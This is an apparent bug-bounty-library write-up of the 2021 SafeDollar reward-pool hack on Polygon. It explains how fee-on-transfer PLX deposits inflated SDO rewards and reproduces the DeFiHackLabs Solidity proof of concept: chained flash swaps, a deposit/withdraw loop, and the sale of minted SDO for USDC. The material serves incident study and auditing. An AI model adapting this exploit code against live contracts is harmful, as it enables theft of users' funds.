# SafeDollar: deflationary PLX deposit/withdraw inflates SDO rewards

SafeDollar's reward pool double-counted deflationary PLX deposits, letting an attacker flash-swap and repeatedly deposit/withdraw to mint ~20B SDO and drain ~$2M.

- Payout: Real-world hack
- Severity: high
- Program: SafeDollar
- Analysis by: DeFiHackLabs
- Disclosed: 2021-06-28
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-06/SafeDollar_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20210628-safedollar
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained vuln:accounting-error vuln:flash-loan vuln:reward-distribution

**Target:** SdoRewardPOOL staking contract on Polygon
**Root cause:** The reward pool's deposit/withdraw accounting did not handle PLX's fee-on-transfer (deflationary) behavior, so repeated deposit/withdraw cycles inflated pending SDO rewards far beyond actual stake.
**Steps:**
1. Fork Polygon at block 16225172; fund attacker with 10,000 WMATIC.
2. Deploy depositToken via create2; swap 1 WMATIC to PLX and `Pool.deposit(9, PLX.balanceOf(this))`.
3. Warp +5h; flash-swap PLX out of Pair1 (WETH/PLX) triggering polydexCall.
4. In Pair2 callback, loop `Pool.deposit(9, amount); Pool.withdraw(9, amount)` while PLX.balanceOf(Pool) > 100 to inflate pending rewards.
5. Repay Pair2 flash swap with `amounts1 * 1000 / 995 + 1e18`; buy PLX on router to repay Pair1.
6. Warp +5h+1; call `withdrawPLX()` to harvest inflated SDO, then `sellSDO()` swapping 20,000,000,000,000 * 1e18 SDO to USDC.
**How found:** Analysis of the reward pool's deposit/withdraw accounting against a deflationary token: the pool credited nominal amounts while PLX transfers deducted fees, so cycling stake inflated pending rewards.
**Exploitation:** Attacker flash-borrowed PLX from two Polydex pairs, used the callback to repeatedly deposit/withdraw PLX into the SDO reward pool (pid 9), exploiting fee-on-transfer accounting to accrue enormous SDO rewards, then sold the SDO for USDC on the router.
**Escalation:** Chained two flash swaps (Pair1 then Pair2) to obtain large PLX capital without upfront funds, then looped deposit/withdraw to amplify reward accrual.
**Insight:** When a staking/reward pool accepts a fee-on-transfer token, check whether deposit credits the nominal amount vs. received amount; cycling deposit/withdraw can inflate reward debt faster than the fee cost.

## Proof of concept (copied exactly from the original report)

**Flashswap callback deposit/withdraw loop draining pool**

```
if (msg.sender == address(Pair2)) {
            //reduced lptoken
            while (PLX.balanceOf(address(Pool)) > 100) {
                uint256 amount = PLX.balanceOf(address(this));
                if (PLX.balanceOf(address(this)) * 5 / 1000 > PLX.balanceOf(address(Pool))) {
                    amount = PLX.balanceOf(address(Pool)) * 1000 / 5;
                }
                Pool.deposit(uint256(9), amount);
                Pool.withdraw(uint256(9), amount);
            }

            // flashswap callback pair2
            PLX.transfer(address(Pair2), amounts1 * 1000 / 995 + 1e18);
        }
    }
```

**Test exploit flashswap sequence**

```
function testExploit() public payable {
        PLX.approve(address(Pool), type(uint256).max);
        WMATIC.approve(address(Router), type(uint256).max);
        (reserve0Pair1, reserve1Pair1,) = Pair1.getReserves();
        (reserve0Pair2, reserve1Pair2,) = Pair2.getReserves();
        address(WMATIC).call{value: 10_000 ether}("");
        // depost PLX
        ContractFactory();
        (bool success,) = addressContract.call{value: 1 ether}(abi.encodeWithSignature("depositPLX()"));
        //revert();
        require(success);
        // change block.timestamp
        cheats.warp(block.timestamp + 5 * 60 * 60);
        amounts0 = PLX.balanceOf(address(Pair1)) - 1 * 1e18;
        Pair1.swap(amounts0, 0, address(this), new bytes(1));
        // change block.timestamp
        cheats.warp(block.timestamp + 5 * 60 * 60 + 1);
        uint256 amountreward = Pool.pendingReward(uint256(9), addressContract);
        (bool success1,) = addressContract.call(abi.encodeWithSignature("withdrawPLX()"));
        require(success1);

        emit log_named_decimal_uint("Attacker SDO profit after exploit", SDO.balanceOf(addressContract), 18);

        (bool success2,) = addressContract.call(abi.encodeWithSignature("sellSDO()"));
        require(success2);
        WMATIC.balanceOf(address(this));

        emit log_named_decimal_uint("Attacker USDC profit after exploit", USDC.balanceOf(addressContract), 6);
    }
```

**Deposit PLX into pool pid 9**

```
function depositPLX() external payable {
        address(WMATIC).call{value: 1 ether}("");
        address[] memory path = new address[](2);
        path[0] = address(WMATIC);
        path[1] = address(PLX);
        WMATIC.approve(address(Router), type(uint256).max);
        PLX.approve(address(Pool), type(uint256).max);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WMATIC.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        Pool.deposit(uint256(9), PLX.balanceOf(address(this)));
    }
```

